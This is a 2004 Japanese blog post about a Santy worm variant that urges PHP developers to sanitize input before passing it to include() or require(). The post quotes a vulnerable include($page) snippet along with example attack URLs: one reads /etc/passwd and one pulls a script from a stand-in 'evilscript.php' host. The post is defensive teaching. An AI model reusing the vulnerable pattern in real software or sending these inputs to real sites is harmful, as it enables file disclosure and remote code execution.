BLOGTIMES
2004/12/28

ちゃんとサニタイジングしようよ。

 
このエントリーをはてなブックマークに追加

Santyに亜種がでたとかでずいぶん話題になっていますね。「phpBBのバグを悪用したワームSantyは、PHPの一般的脆弱性を突くものに進化した」なんて刺激的なタイトルで報道されているようですし。

ITmediaニュース:PHPのコード問題を突くSantyワームの亜種が出現

こうした攻撃を防ぐためには安全なやり方で「include()」と「require()」機能を使うよう、サイトのコード修正が必要になるかもしれない。

さて、僕らのようにプラグラムをつくっている人にとっては、この一般的脆弱性とか、安全なinclude()のやり方って何なのかが非常に重要だったりするわけです。

要はちゃんとサニタイジングしようよっていう話

それで、いろいろ調べたらどうやらこういうことみたいです。

PHP Security Mistakes

1. Never include, require, or otherwise open a file with a filename based on user input, without thoroughly checking it first.

Take the following example:
if(isset($page))
{
include($page);
}

Since there is no validation being done on $page, a malicious user could hypothetically call your script like this (assuming register_globals is set to ON):

script.php?page=/etc/passwd

英語が読めなくてもプログラムの意味だけわかれば大丈夫ですね。要は汚染された文字列をサニタイジングしないで使うと危ないよっていうことが一般的な脆弱性ということなんですね。

ただ、こういうことができるというのは盲点だったかも。

script.php?page=http://www.example.com/evilscript.php

この問題もバッファオーバフロー問題とかの問題もそうなんですが、昔から言われているウェブアプリの危険性そのものですね。

サニタイジング(sanitizing)とは

サニタイズ(sanitize)を辞書で引くと「衛生的にする」「消毒する」「不適切な(好ましくない)部分を削除する」という意味が出てきます。これで大体のイメージはつかめると思います。

ITの分野では汚染された文字列を無害化するという意味になるのでしょうか。汚染された文字列というのは、信頼できないデータという意味で、もっと端的に言えばプログラムへの入力データのことを指しています*1

セキュリティを考えてプログラム(特にCGI不特定多数の人が利用するもの)を作るときには基本的に入力データを信用しない(つまり、悪意のあるものが含まれていることを常に考慮する)ということが基本になります*2。これらの事柄はインジェクションやXSS(クロスサイトスクリプティング)を防ぐためには基本的なテクニックだと思っています。

実際の対策は

具体的にどのようなことに気をつければよいかというのがちょうど良くまとまっているのは下記のドキュメントでしょうか。

IPA ISEC セキュア・プログラミング講座

機能や性能面で優れたプログラミングをしていても,セキュリティ問題は生じます。あなたのソースコードは安全ですか?

PHPだけに起こる問題じゃない

別にPHPだけに起こりえる問題じゃなくて、ほかのウェブアプリにも潜んでいる問題なので、PHPだけがクローズアップされすぎのような気がします。

個人情報流出でACCSが謝罪会見

協会によると、入力された相談者の個人情報をACCSのサーバーで受け取り、担当者に送るとともに、テキストファイル形式でサーバーに保存するCGI(アプリケーション連携機能)を利用していた。入力に間違った場合、エラーメッセージを表示するが、表示するファイルを読み出すところを、蓄積した個人情報を読み落とす記述になっているプログラミングミスだった

例えばこのACCSの個人情報流出事件で使われた脆弱性もこの類のものです。確かこれはPerlかなんかのCGIでしたよね。

つまり、今回のワームの対象が偶然にPHPだっただけであって、今回の件をPHP使っていないから大丈夫なんて単純な発想でいると後々痛い目にあうかもしれませんね。

  • *1: そのほかにも環境変数とか、データベースから読み取ったデータなどもそうです。
  • *2: (個人的にこれ以上の基本はないと思いますが。

トラックバックについて
Trackback URL:
お気軽にどうぞ。トラックバック前にポリシーをお読みください。[policy]
このエントリへのTrackbackにはこのURLが必要です→https://blog.cles.jp/item/590
Trackbacks
ちゃんとサニタイジングしようよ。 - cles::blog ↑cles::bl...
Lsa (2004/12/30 05:05)
Comments
愛のあるツッコミをお気軽にどうぞ。[policy]
古いエントリについてはコメント制御しているため、即時に反映されないことがあります。
FF (2005/03/21 10:41) <%HatenaAuth()%>

PHP の設定ファイル php.ini に register_globals = off ってしてれば、

    script.php?page=http://www.example.com/evil...

ってのは、プログラマがヘボしないかぎりできないんじゃないですか?

hsur (2005/03/21 19:27) <%HatenaAuth()%>

そうですね。ですから、
assuming register_globals is set to ON
って本文中に書いてあります。

ただ、私も含めてですがプログラマはヘボするものです。例えば、 register_globals = off であってもプログラムの冒頭で $page = $_POST['page'];
みたいなことをすれば同様の脆弱性は発生しうるものだと思います。

Comments Form

コメントは承認後の表示となります。
OpenIDでログインすると、即時に公開されます。

OpenID を使ってログインすることができます。

Identity URL: Yahoo! JAPAN IDでログイン